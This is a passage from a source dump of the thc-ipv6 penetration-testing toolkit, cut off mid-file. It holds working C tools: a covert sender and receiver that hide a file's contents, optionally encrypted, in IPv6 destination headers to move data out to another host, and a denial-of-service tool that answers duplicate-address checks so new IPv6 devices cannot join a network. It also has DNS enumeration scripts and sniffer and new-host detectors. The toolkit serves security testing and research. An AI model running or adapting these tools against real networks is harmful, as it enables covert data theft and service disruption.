23 | int twoVics; 24 | int rawMode; 25 | unsigned char *ownIp; 26 | unsigned char *ownMac; 27 | } MArgs; 28 | 29 | #endif /*DATA_STRUCTURES_H_ */ 30 | -------------------------------------------------------------------------------- /contrib/fuzz_dhcpc6-usage.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/vanhauser-thc/thc-ipv6/9225f68976c6e19172f75662e19376c7dbb80ea3/contrib/fuzz_dhcpc6-usage.pdf -------------------------------------------------------------------------------- /contrib/host_scan.h: -------------------------------------------------------------------------------- 1 | #ifndef HOST_SCAN_H_ 2 | #define HOST_SCAN_H_ 3 | 4 | #if defined (HOST_SCAN_C) 5 | #define HOST_SCAN_EXT 6 | #else 7 | #define HOST_SCAN_EXT extern 8 | #endif 9 | 10 | /** 11 | Função que realiza o envio de um pacote Echo Request para na interface especificada para o endereço de multicast 12 | passado como parâmetro. 13 | */ 14 | HOST_SCAN_EXT int sendEchoRequest(char *interface, // Interface inde se sendrá o pacote 15 | unsigned char *multicast6, // Enedereço de Multicast IPv6 [destino] 16 | unsigned char *src6, // Enedereço do host que send o pacote [IPv6] 17 | unsigned char *router6, // Roteador [NULL caso não necessite] 18 | unsigned char **routers, // Lista de Roteamento 19 | unsigned char *buf, // Buffer contendo os dados a serem senddos 20 | unsigned char *mac, // Endereço do host de destino [MAC] 21 | unsigned char *macsrc); // Endereço do host q send o pacote [MAC] 22 | 23 | #undef HOST_SCAN_EXT 24 | #endif 25 | -------------------------------------------------------------------------------- /contrib/spoofer.h: -------------------------------------------------------------------------------- 1 | #ifndef SPOOFER_H_ 2 | #define SPOOFER_H_ 3 | #include "data_structures.h" 4 | #if defined (SPOOFER_C) 5 | #define SPOOFER_EXT 6 | #else 7 | #define SPOOFER_EXT extern 8 | #endif 9 | 10 | SPOOFER_EXT void spoofer(MArgs mArgss); 11 | 12 | #endif /*SPOOFER_H_ */ 13 | -------------------------------------------------------------------------------- /covert_send6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #ifndef _HAVE_SSL 7 | int main() { 8 | fprintf(stderr, 9 | "Error: thc-ipv6 was compiled without openssl support, covert_send6 " 10 | "disabled.\n"); 11 | return -1; 12 | } 13 | #else 14 | #if (_TAKE2 > 0) 15 | int main() { 16 | fprintf(stderr, "Error: tool does not work on big endian\n"); 17 | return -1; 18 | } 19 | #endif 20 | 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "thc-ipv6.h" 30 | 31 | void help(char *prg) { 32 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 33 | printf( 34 | "Syntax: %s [-m mtu] [-k key] [-s resend] interface target file " 35 | "[port]\n\n", 36 | prg); 37 | printf("Options:\n"); 38 | printf( 39 | " -m mtu specifies the maximum MTU (default: interface MTU, min: " 40 | "1000)\n"); 41 | printf(" -k key encrypt the content with Blowfish-160\n"); 42 | printf(" -s resend send each packet RESEND number of times, default: 1\n"); 43 | printf("\n"); 44 | printf( 45 | "Sends the content of FILE covertly to the target, And its POC - don't " 46 | "except\n"); 47 | printf( 48 | "too much sophistication - its just put into the destination header.\n"); 49 | exit(-1); 50 | } 51 | 52 | int main(int argc, char *argv[]) { 53 | unsigned char *pkt1 = NULL, rbuf[3570], wbuf[3570], buf[4000]; 54 | unsigned char *src6 = NULL, *dst6 = NULL, srcmac[6] = "", *mac = srcmac, 55 | *dmac; 56 | int pkt1_len = 0, flags = 0, i = 0, mtu = 0, bytes, seq = 0, id, rounds, 57 | wbytes, bufsize = 0, send = 2, num = 0; 58 | char *interface, *key = NULL, hash[20], vec[8] = {0, 0, 0, 0, 0, 0, 0, 0}; 59 | ; 60 | int rawmode = 0, tcp_port = -1; 61 | FILE * f; 62 | BF_KEY bfkey; 63 | 64 | if (argc < 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 65 | 66 | while ((i = getopt(argc, argv, "rm:k:s:")) >= 0) { 67 | switch (i) { 68 | case 'r': 69 | rawmode = 1; 70 | thc_ipv6_rawmode(1); 71 | break; 72 | case 'k': 73 | key = optarg; 74 | break; 75 | case 'm': 76 | mtu = atoi(optarg); 77 | break; 78 | case 's': 79 | send = atoi(optarg); 80 | break; 81 | default: 82 | exit(-1); 83 | } 84 | } 85 | 86 | if (argc < optind + 2) { 87 | fprintf(stderr, "Error: Not enough parameters!\n"); 88 | help(argv[0]); 89 | } 90 | 91 | interface = argv[optind]; 92 | dst6 = thc_resolve6(argv[optind + 1]); 93 | if ((f = fopen(argv[optind + 2], "r")) == NULL) { 94 | fprintf(stderr, "Error: file %s not found\n", argv[optind + 2]); 95 | exit(-1); 96 | } 97 | if (argc >= optind + 4 && argv[optind + 3] != NULL) 98 | tcp_port = atoi(argv[optind + 3]); 99 | 100 | if (mtu == 0) mtu = thc_get_mtu(interface); 101 | if (mtu <= 1000) { 102 | fprintf(stderr, "Error: MTU of interface %s must be at least 1000 bytes\n", 103 | interface); 104 | exit(-1); 105 | } 106 | mac = thc_get_own_mac(interface); 107 | src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); 108 | if ((dmac = thc_get_mac(interface, src6, dst6)) == NULL) { 109 | fprintf(stderr, "Error: can not get MAC for target\n"); 110 | exit(-1); 111 | } 112 | srand(getpid()); 113 | mtu -= 128; 114 | if (mtu % 255 == 0) 115 | i = 2 * (mtu / 255); 116 | else 117 | i = 2 + 2 * (mtu / 255); 118 | mtu = mtu - i; 119 | if ((mtu + i + 14) % 8 > 0) mtu = (((mtu + i + 14) / 8) * 8) - (i + 14); 120 | if (mtu > 14 * 255) mtu = 14 * 255; 121 | if (key != NULL) { 122 | memset(&bfkey, 0, sizeof(bfkey)); 123 | SHA1((unsigned char *)key, strlen(key), (unsigned char *)hash); 124 | BF_set_key(&bfkey, sizeof(hash), (unsigned char *)hash); 125 | memset(vec, 0, sizeof(vec)); 126 | num = 0; 127 | } 128 | 129 | id = rand(); 130 | buf[0] = 16; 131 | buf[1] = 4; 132 | memcpy(buf + 2, (char *)&id, 4); 133 | buf[6] = 17; 134 | buf[7] = 4; 135 | 136 | while ((bytes = fread(rbuf, 1, mtu, f)) > 0) { 137 | seq++; 138 | if (key != NULL) { 139 | BF_cfb64_encrypt((unsigned char *)rbuf, (unsigned char *)wbuf, bytes, 140 | &bfkey, (unsigned char *)vec, &num, BF_ENCRYPT); 141 | memcpy(rbuf, wbuf, bytes); 142 | } 143 | memcpy(buf + 8, (char *)&seq, 4); 144 | bufsize = 12; 145 | rounds = bytes / 255; 146 | for (i = 0; i <= rounds; i++) { 147 | buf[bufsize] = i + 18; 148 | if (i == rounds) 149 | wbytes = bytes % 255; 150 | else 151 | wbytes = 255; 152 | buf[bufsize + 1] = wbytes; 153 | memcpy(buf + bufsize + 2, rbuf + 255 * i, wbytes); 154 | bufsize += wbytes + 2; 155 | } 156 | if (bytes < mtu) { 157 | buf[bufsize] = 0x1f; 158 | buf[bufsize + 1] = 0; 159 | bufsize = bufsize + 2; 160 | } 161 | 162 | if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt1_len, 163 | src6, dst6, 0, 0, 0, 0, 0)) == NULL) 164 | return -1; 165 | if (thc_add_hdr_dst(pkt1, &pkt1_len, buf, bufsize)) return -1; 166 | if (tcp_port == -1) { 167 | if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_ECHOREQUEST, 0, flags, NULL, 0, 168 | 0) < 0) 169 | return -1; 170 | } else { 171 | if (thc_add_tcp(pkt1, &pkt1_len, (rand() % 45536) + 10000, tcp_port, 172 | rand(), 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0) < 0) 173 | return -1; 174 | } 175 | if (thc_generate_pkt(interface, mac, dmac, pkt1, &pkt1_len) < 0) { 176 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 177 | exit(-1); 178 | } 179 | printf("Sending packet seq# %d\n", seq); 180 | for (i = 0; i < send; i++) { 181 | thc_send_pkt(interface, pkt1, &pkt1_len); 182 | usleep(100); 183 | } 184 | pkt1 = thc_destroy_packet(pkt1); 185 | } 186 | printf("All sent.\n"); 187 | return 0; 188 | } 189 | 190 | #endif 191 | -------------------------------------------------------------------------------- /covert_send6d.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #ifndef _HAVE_SSL 7 | int main() { 8 | fprintf(stderr, 9 | "Error: thc-ipv6 was compiled without openssl support, covert_send6d " 10 | "disabled.\n"); 11 | return -1; 12 | } 13 | #else 14 | #if (_TAKE2 > 0) 15 | int main() { 16 | fprintf(stderr, "Error: tool does not work on big endian\n"); 17 | return -1; 18 | } 19 | #endif 20 | 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include "thc-ipv6.h" 30 | 31 | FILE * f; 32 | BF_KEY bfkey; 33 | int rawmode = 0, seq = 1, id = 0, num = 0; 34 | char hash[20] = "", *key = NULL, vec[8] = {0, 0, 0, 0, 0, 0, 0, 0}; 35 | 36 | void help(char *prg) { 37 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 38 | printf("Syntax: %s [-k key] interface file\n\n", prg); 39 | printf("Options:\n"); 40 | printf(" -k key decrypt the content with Blowfish-160\n"); 41 | printf("\n"); 42 | printf("Writes covertly received content to FILE.\n"); 43 | exit(-1); 44 | } 45 | 46 | void check_packets(u_char *foo, const struct pcap_pkthdr *header, 47 | const unsigned char *data) { 48 | int len = header->caplen, rlen, bytes = 0, hlen, end = 0, pos, dlen = 0, 49 | done = 0; 50 | unsigned char *ptr = (unsigned char *)data, rbuf[6000], wbuf[6000]; 51 | 52 | if (!rawmode) { 53 | if (do_hdr_size) { 54 | ptr += do_hdr_size; 55 | len -= do_hdr_size; 56 | if ((ptr[0] & 240) != 0x60) return; 57 | } else { 58 | ptr += 14; 59 | len -= 14; 60 | } 61 | } 62 | 63 | if (len < 58) // too short 64 | return; 65 | if (ptr[6] != NXT_DST) return; 66 | if (ptr[42] != 0x10 || ptr[43] != 4 || ptr[48] != 0x11 || ptr[49] != 4 || 67 | ptr[54] != 0x12) 68 | return; 69 | 70 | if (memcmp(ptr + 50, (char *)&seq, 4) != 0) return; 71 | 72 | if (seq == 1) 73 | memcpy((char *)&id, ptr + 44, 4); 74 | else if (memcmp(ptr + 44, (char *)&id, 4) != 0) 75 | return; 76 | 77 | dlen = 40 + (ptr[41] + 1) * 8; 78 | rlen = len - 54; 79 | pos = 54; 80 | while (rlen > 0 && end == 0 && dlen > pos && done == 0) { 81 | if (ptr[pos] == 0) 82 | done = 1; 83 | else if (ptr[pos] < 0x12) 84 | return; 85 | else if (ptr[pos] > 0x1f) 86 | return; 87 | else if (ptr[pos] == 0x1f) 88 | end = 1; 89 | else { 90 | if ((hlen = ptr[pos + 1]) >= rlen) return; 91 | if (bytes + hlen >= sizeof(rbuf)) return; 92 | memcpy(rbuf + bytes, ptr + pos + 2, hlen); 93 | rlen = rlen - (hlen + 2); 94 | pos = pos + hlen + 2; 95 | bytes = bytes + hlen; 96 | } 97 | } 98 | 99 | if (bytes > 0) { 100 | if (key != NULL) { 101 | BF_cfb64_encrypt((unsigned char *)rbuf, (unsigned char *)wbuf, bytes, 102 | &bfkey, (unsigned char *)vec, &num, BF_DECRYPT); 103 | memcpy(rbuf, wbuf, bytes); 104 | } 105 | fwrite(rbuf, 1, bytes, f); 106 | } 107 | 108 | printf("Received packet seq# %d\n", seq); 109 | seq++; 110 | if (end) { 111 | printf("All received.\n"); 112 | fclose(f); 113 | exit(0); 114 | } 115 | } 116 | 117 | int main(int argc, char *argv[]) { 118 | char * interface; 119 | pcap_t *p; 120 | int i; 121 | 122 | if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 123 | 124 | while ((i = getopt(argc, argv, "rk:")) >= 0) { 125 | switch (i) { 126 | case 'r': 127 | rawmode = 1; 128 | thc_ipv6_rawmode(1); 129 | break; 130 | case 'k': 131 | key = optarg; 132 | break; 133 | default: 134 | fprintf(stderr, "Unknown option\n"); 135 | exit(-1); 136 | } 137 | } 138 | 139 | interface = argv[optind]; 140 | if ((f = fopen(argv[optind + 1], "w")) == NULL) { 141 | fprintf(stderr, "Error: file %s cout not be created\n", argv[optind + 1]); 142 | exit(-1); 143 | } 144 | 145 | if (key != NULL) { 146 | memset(&bfkey, 0, sizeof(bfkey)); 147 | SHA1((unsigned char *)key, strlen(key), (unsigned char *)hash); 148 | BF_set_key(&bfkey, sizeof(hash), (unsigned char *)hash); 149 | memset(vec, 0, sizeof(vec)); 150 | num = 0; 151 | } 152 | 153 | if ((p = thc_pcap_init(interface, "ip6")) == NULL) { 154 | fprintf(stderr, "Error: could not capture on interface %s\n", interface); 155 | exit(-1); 156 | } 157 | 158 | while (1) { 159 | thc_pcap_check(p, (char *)check_packets, NULL); 160 | usleep(50); 161 | } 162 | 163 | return 0; 164 | } 165 | 166 | #endif 167 | -------------------------------------------------------------------------------- /create_network_map.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o '!' -e "$1" && { 3 | echo "Syntax: $0 file1 file2 file3 file4 ... > map.gv" 4 | echo Creates a GV file for use with Graphviz to create a network topology map 5 | echo file1 must have per line one entry only. 6 | echo "Afterwards run it like: dot -Tjpg map.gv > map.jpg" 7 | exit 1 8 | } 9 | 10 | echo "digraph my_test {" 11 | echo " ratio = \"auto\";" 12 | echo " micross = 2.0;" 13 | echo " label = \"network topology map\";" 14 | #echo ' #"host_entry_example" [shape=box];' 15 | 16 | for i in $*; do 17 | FIRST="" 18 | CNT=1 19 | while read l ; do 20 | test "$l" = "???" && l="$CNT-???-$CNT" 21 | test -n "$FIRST" && { 22 | echo " \"$FIRST\" -> \"$l\";" 23 | } 24 | CNT=`expr $CNT + 1` 25 | FIRST="$l" 26 | done < "$i" 27 | done | sort | uniq 28 | 29 | echo "}" 30 | -------------------------------------------------------------------------------- /detect-new-ip6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | unsigned char *pkt = NULL, *dstmac, *dst; 14 | int pkt_len = 0; 15 | int mychecksum; 16 | char * interface, *script = NULL, es[300]; 17 | char * ptr3, *ptr4; 18 | int i; 19 | 20 | void help(char *prg) { 21 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 22 | printf("Syntax: %s interface [script]\n\n", prg); 23 | printf("This tools detects new IPv6 addresses joining the local network.\n"); 24 | printf( 25 | "If script is supplied, it is executed with the detected IPv6 address as " 26 | "first\nand the interface as second command line option.\n\n"); 27 | exit(-1); 28 | } 29 | 30 | void intercept(u_char *foo, const struct pcap_pkthdr *header, 31 | const unsigned char *data) { 32 | unsigned char *ipv6hdr = (unsigned char *)(data + 14); 33 | int len = header->caplen - 14; 34 | 35 | if (do_hdr_size) { 36 | ipv6hdr = (unsigned char *)(data + do_hdr_size); 37 | len = header->caplen - do_hdr_size; 38 | if ((ipv6hdr[0] & 240) != 0x60) return; 39 | } 40 | 41 | if (debug) { 42 | printf("DEBUG: packet received\n"); 43 | thc_dump_data((unsigned char *)data, header->caplen, "Received Packet"); 44 | } 45 | if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || len < 64) 46 | return; 47 | if (*(ipv6hdr + 8) + *(ipv6hdr + 9) + *(ipv6hdr + 10) + *(ipv6hdr + 11) + 48 | *(ipv6hdr + 12) + *(ipv6hdr + 13) + *(ipv6hdr + 14) + 49 | *(ipv6hdr + 15) != 50 | 0) 51 | return; 52 | if (debug) 53 | printf( 54 | "DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor " 55 | "solitication\n"); 56 | 57 | (void)wait3(NULL, WNOHANG, NULL); 58 | ptr4 = thc_ipv62notation((char *)(ipv6hdr + 48)); 59 | printf("Detected new ip6 address: %s\n", ptr4); 60 | 61 | if (script != NULL && fork() == 0) { 62 | snprintf(es, sizeof(es), "%s %s %s", script, ptr4, interface); 63 | if (system(es) < 0) fprintf(stderr, "Error: Executing failed - %s\n", es); 64 | exit(0); 65 | } 66 | 67 | free(ptr4); 68 | return; 69 | } 70 | 71 | int main(int argc, char *argv[]) { 72 | if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 73 | 74 | interface = argv[1]; 75 | if (argc > 2) script = argv[2]; 76 | 77 | setvbuf(stdout, NULL, _IONBF, 0); 78 | setvbuf(stderr, NULL, _IONBF, 0); 79 | 80 | printf("Started ICMP6 DAD detection (Press Control-C to end) ...\n"); 81 | return thc_pcap_function(interface, "icmp6", (char *)intercept, 1, NULL); 82 | } 83 | -------------------------------------------------------------------------------- /detect_sniffer6.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "thc-ipv6.h" 14 | 15 | struct timespec ts, ts2; 16 | int found = 0, oneonly = 0; 17 | char doubles[256][16]; 18 | 19 | void help(char *prg) { 20 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 21 | printf("Syntax: %s interface [target6]\n\n", prg); 22 | printf("Tests if systems on the local LAN are sniffing.\n"); 23 | printf("Works against Windows, Linux, OS/X and *BSD\n"); 24 | printf( 25 | "If no target is given, the link-local-all-nodes address is used, " 26 | "which\nhowever not always works.\n"); 27 | exit(-1); 28 | } 29 | 30 | void alarming(int signal) { 31 | if (found == 0) 32 | printf("No packets received, no vulnerable system seems to be sniffing.\n"); 33 | else 34 | printf("%d sniffing host%s detected.\n", found, found == 1 ? "" : "s"); 35 | exit(0); 36 | } 37 | 38 | void check_packets(u_char *pingdata, const struct pcap_pkthdr *header, 39 | const unsigned char *data) { 40 | int len = header->caplen, ok = 0, i; 41 | unsigned char *ptr = (unsigned char *)data; 42 | 43 | if (do_hdr_size) { 44 | len -= do_hdr_size; 45 | ptr += do_hdr_size; 46 | if ((ptr[0] & 240) != 0x60) return; 47 | } else { 48 | len -= 14; 49 | ptr += 14; 50 | } 51 | 52 | if (len < 136) // ignoring too short packet 53 | return; 54 | for (i = 0; i < 8 && ok == 0; i++) 55 | if (memcmp(pingdata, data + 106 + i, 8) == 0) ok = 1; 56 | 57 | if (ok) { 58 | if (found) { 59 | for (i = 0; i < found && ok == 1; i++) 60 | if (memcmp(doubles[i], thc_ipv62notation(ptr + 8), 16) == 0) ok = 0; 61 | } 62 | if (ok) { 63 | printf(" Sniffing host detected: %s\n", thc_ipv62notation(ptr + 8)); 64 | memcpy(doubles[found], thc_ipv62notation(ptr + 8), 16); 65 | found++; 66 | if (oneonly) alarming(0); 67 | } 68 | } 69 | } 70 | 71 | int main(int argc, char *argv[]) { 72 | unsigned char *pkt1 = NULL, *pkt2 = NULL, buf[2096] = "thcping6", buf2[6]; 73 | unsigned char *src6 = NULL, *dst6 = NULL; 74 | unsigned char dmac[7] = {0x33, 0x33, 0xff, 0x01, 0x00, 0xfe, 0x00}; 75 | char string[255] = "icmp6 and dst ", *interface; 76 | int pkt1_len = 0, pkt2_len = 0, flags = 0, j; 77 | pcap_t * p; 78 | 79 | if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 80 | 81 | setvbuf(stdout, NULL, _IONBF, 0); 82 | setvbuf(stderr, NULL, _IONBF, 0); 83 | 84 | if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) 85 | printf("WARNING: %s is not working with injection!\n", argv[0]); 86 | 87 | memset(buf, 0, sizeof(buf)); 88 | for (j = 0; j < (128 / 8); j++) 89 | memcpy(buf + j * 8, "thcsniff", 8); 90 | memset(buf2 + 2, 0, 4); 91 | buf2[0] = NXT_INVALID; 92 | buf2[1] = 1; 93 | 94 | interface = argv[1]; 95 | if (argc == 3) { 96 | if ((dst6 = thc_resolve6(argv[2])) == NULL) { 97 | fprintf(stderr, "Error: not a valid target: %s\n", argv[2]); 98 | exit(-1); 99 | } 100 | if (dst6[0] != 0xff) oneonly = 1; 101 | } else 102 | dst6 = thc_resolve6("ff02::1"); 103 | if ((src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK)) == NULL) { 104 | fprintf(stderr, "Error: no IPv6 address found for interface %s!\n", 105 | interface); 106 | exit(-1); 107 | } 108 | 109 | if ((pkt1 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt1_len, src6, 110 | dst6, 255, 0, 0, 0, 0)) == NULL) 111 | return -1; 112 | if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_ECHOREQUEST, 0, flags, 113 | (unsigned char *)&buf, 128, 0) < 0) 114 | return -1; 115 | if (thc_generate_pkt(interface, NULL, dmac, pkt1, &pkt1_len) < 0) { 116 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 117 | exit(-1); 118 | } 119 | 120 | if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt2_len, src6, 121 | dst6, 255, 0, 0, 0, 0)) == NULL) 122 | return -1; 123 | if (thc_add_hdr_dst(pkt2, &pkt2_len, (unsigned char *)&buf2, sizeof(buf2)) < 124 | 0) 125 | return -1; 126 | if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_ECHOREQUEST, 0, flags, 127 | (unsigned char *)&buf, 128, 0) < 0) 128 | return -1; 129 | if (thc_generate_pkt(interface, NULL, dmac, pkt2, &pkt2_len) < 0) { 130 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 131 | exit(-1); 132 | } 133 | 134 | strcat(string, thc_ipv62notation(src6)); 135 | if ((p = thc_pcap_init(interface, string)) == NULL) { 136 | fprintf(stderr, "Error: could not capture on interface %s with string %s\n", 137 | interface, string); 138 | exit(-1); 139 | } 140 | signal(SIGALRM, alarming); 141 | alarm(3); 142 | printf("Sending sniffer detection packets to %s\n", thc_ipv62notation(dst6)); 143 | thc_send_pkt(interface, pkt1, &pkt1_len); 144 | thc_send_pkt(interface, pkt2, &pkt2_len); 145 | thc_send_pkt(interface, pkt1, &pkt1_len); 146 | thc_send_pkt(interface, pkt2, &pkt2_len); 147 | while (1) { 148 | thc_pcap_check(p, (char *)check_packets, buf); 149 | } 150 | 151 | return 0; // not reached 152 | } 153 | -------------------------------------------------------------------------------- /dnsrevenum6.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" && { 3 | echo "Syntax: $0 ipv6-address[/prefixlength] [domain]" 4 | echo scans the reverse DNS entries of the /48 of the ipv6 address on the 5 | echo responsible dns server. 6 | echo if you get a \"no SOA entry found\" error message, please supply the 7 | echo corresponding domain name as an extra option. 8 | echo requires \"dig\" installed. 9 | exit 1 10 | } 11 | 12 | which dig > /dev/null 2>&1 || { echo Error: dig not found in PATH ; exit 1 ; } 13 | 14 | EXTRA="" 15 | PLEN="" 16 | PREFIX=$1 17 | #test -n "$2" && PLEN=$2 18 | test -n "$2" && EXTRA="$2" 19 | 20 | echo $PREFIX | grep -q / && { 21 | PREFIX=`echo $1 | sed 's/\/.*//'` 22 | #test -z "$PLEN" && 23 | PLEN=`echo $1 | sed 's/.*\///'` 24 | } 25 | 26 | test -z "$PLEN" && PLEN=48 27 | 28 | which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } 29 | 30 | DOMAIN=`dig -x $PREFIX soa | grep SOA | grep -v '^;' | tr '\t' ' ' | sed 's/.*SOA *//' | sed 's/ .*//'` 31 | test -z "$DOMAIN" && DOMAIN=`dig @8.8.8.8 -x $PREFIX soa | grep SOA | grep -v '^;' | tr '\t' ' ' | sed 's/.*SOA *//' | sed 's/ .*//'` 32 | test -z "$DOMAIN" -a -n "$EXTRA" && DOMAIN=`dig $EXTRA ns | grep -E -v '^;' | grep -E -w NS | grep -E -w IN | awk '{print$5}'` 33 | test -z "$DOMAIN" && { echo Error: no SOA entry found for domain ; exit 1 ; } 34 | 35 | X=`echo ${PREFIX}-$PLEN| sed 's/\.$//' | tr : _` 36 | 37 | for i in $DOMAIN; do 38 | echo Enumerating $PREFIX/$PLEN on server $i ... 39 | Y=`echo $i | sed 's/\.$//'` 40 | dnsrevenum6 $i $PREFIX/$PLEN > $X-$Y.revenum 41 | grep -q Found: $X-$Y.revenum && echo Reverse DNS information saved to $X-$Y.revenum 42 | grep -q Found: $X-$Y.revenum || rm -f $X-$Y.revenum 43 | done 44 | -------------------------------------------------------------------------------- /dnssecwalk.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | test -z "$1" -o "$1" = "-h" && { echo "Syntax: $0 [-a] domain" ; echo will try dnssecwalk on all nameservers until one is found, or all if -a is given as option ; exit 1 ; } 3 | 4 | which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } 5 | 6 | DNS="" 7 | dig 1.0.0.1.0.0.0.0.3.0.0.2.ip6.arpa. ns | grep -q '^1\.0.*SOA' || DNS="@8.8.8.8" 8 | ALL="" 9 | test "$1" = "-a" && { ALL=1 ; shift ; } 10 | DOMAIN=$1 11 | echo $1 | grep -q '\.$' || DOMAIN=$1. 12 | FILE=`echo $DOMAIN|sed 's/\.$//'` 13 | OK="" 14 | 15 | for j in `dig $DNS $DOMAIN ns | grep -w NS | grep -w IN | grep -v ';' | awk '{print$5}'`; do 16 | SERVER=`echo $j|sed 's/\.$//'` 17 | test -z "$OK" && { 18 | echo Trying $j ... 19 | dnssecwalk -t -6 $j $DOMAIN > $SERVER-$FILE.dnssecwalk 20 | grep -q Found: $SERVER-$FILE.dnssecwalk && OK=1 21 | test -n "$OK" && echo Dnssecwalk succeeded, saved to $SERVER-$FILE.dnssecwalk 22 | test -n "$OK" || rm -f $SERVER-$FILE.dnssecwalk 23 | test -n "$ALL" && OK="" 24 | } 25 | done 26 | -------------------------------------------------------------------------------- /dos-new-ip6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | unsigned char *pkt = NULL, *dstmac, *dst, matchfoo[16]; 14 | int pkt_len = 0; 15 | thc_ipv6_hdr * ipv6; 16 | int mychecksum, do_solicit = 0; 17 | char * interface; 18 | char * ptr3, *ptr4; 19 | int i; 20 | unsigned char *ownmac; 21 | 22 | void help(char *prg) { 23 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 24 | printf("Syntax: %s [-S] interface\n\n", prg); 25 | printf( 26 | "This tools prevents new IPv6 interfaces to come up, by sending answers " 27 | "to\n"); 28 | printf( 29 | "duplicate ip6 checks (DAD). This results in a DOS for new IPv6 " 30 | "devices.\n\n"); 31 | printf( 32 | "Option -S sends conflicting NS query instead of NA reply, but it " 33 | "restricts\n"); 34 | printf("source randomization.\n\n"); 35 | exit(-1); 36 | } 37 | 38 | void intercept(u_char *foo, const struct pcap_pkthdr *header, 39 | const unsigned char *data) { 40 | unsigned char *ipv6hdr = (unsigned char *)(data + 14); 41 | int len = header->caplen - 14; 42 | 43 | if (do_hdr_size) { 44 | ipv6hdr = (unsigned char *)(data + do_hdr_size); 45 | len = header->caplen - do_hdr_size; 46 | if ((ipv6hdr[0] & 240) != 0x60) return; 47 | } 48 | 49 | if (debug) { 50 | printf("DEBUG: packet received\n"); 51 | thc_dump_data((unsigned char *)data, header->caplen, "Received Packet"); 52 | } 53 | if ((do_solicit == 1) && (memcmp(data + 6, ipv6->pkt + 6, 6) == 0)) { 54 | // found a looped back own NS packet, ignore it 55 | return; 56 | } 57 | if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || 58 | header->caplen < 78) 59 | return; 60 | if (memcmp(matchfoo, ipv6hdr + 8, 16) != 0 && 61 | !(ipv6hdr[8] == 0xfe && ipv6hdr[48] != 0xfe)) 62 | return; 63 | if (debug) 64 | printf( 65 | "DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor " 66 | "solitication\n"); 67 | 68 | if (do_solicit == 0) { 69 | memcpy(ipv6->pkt + 22, ipv6hdr + 48, 16); // copy target to srcip6 70 | memcpy(ipv6->pkt + 62, ipv6hdr + 48, 16); // copy target to target 71 | mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, 72 | NXT_ICMP6, ipv6->pkt + 54, 32); 73 | ipv6->pkt[56] = mychecksum / 256; 74 | ipv6->pkt[57] = mychecksum % 256; 75 | } else { 76 | memset(ipv6->pkt + 22, 0, 16); // set srcIP as :: 77 | memcpy(ipv6->pkt + 62, ipv6hdr + 48, 16); // copy target to target 78 | memcpy(ipv6->pkt + 3, ipv6hdr + 61, 3); // make tail of L2 mcast 79 | memcpy(ipv6->pkt + 51, ipv6hdr + 61, 3); // make tail of all node mcast 80 | 81 | mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, 82 | NXT_ICMP6, ipv6->pkt + 54, 24); 83 | ipv6->pkt[56] = mychecksum / 256; 84 | ipv6->pkt[57] = mychecksum % 256; 85 | } 86 | thc_send_pkt(interface, pkt, &pkt_len); 87 | 88 | if (do_solicit == 0) { 89 | ptr4 = thc_ipv62notation(ipv6->pkt + 22); 90 | printf("Spoofed packet for existing ip6 as %s\n", ptr4); 91 | free(ptr4); 92 | } else { 93 | ptr4 = thc_ipv62notation(ipv6->pkt + 62); 94 | printf("Spoofed packet for colliding NS query as %s\n", ptr4); 95 | 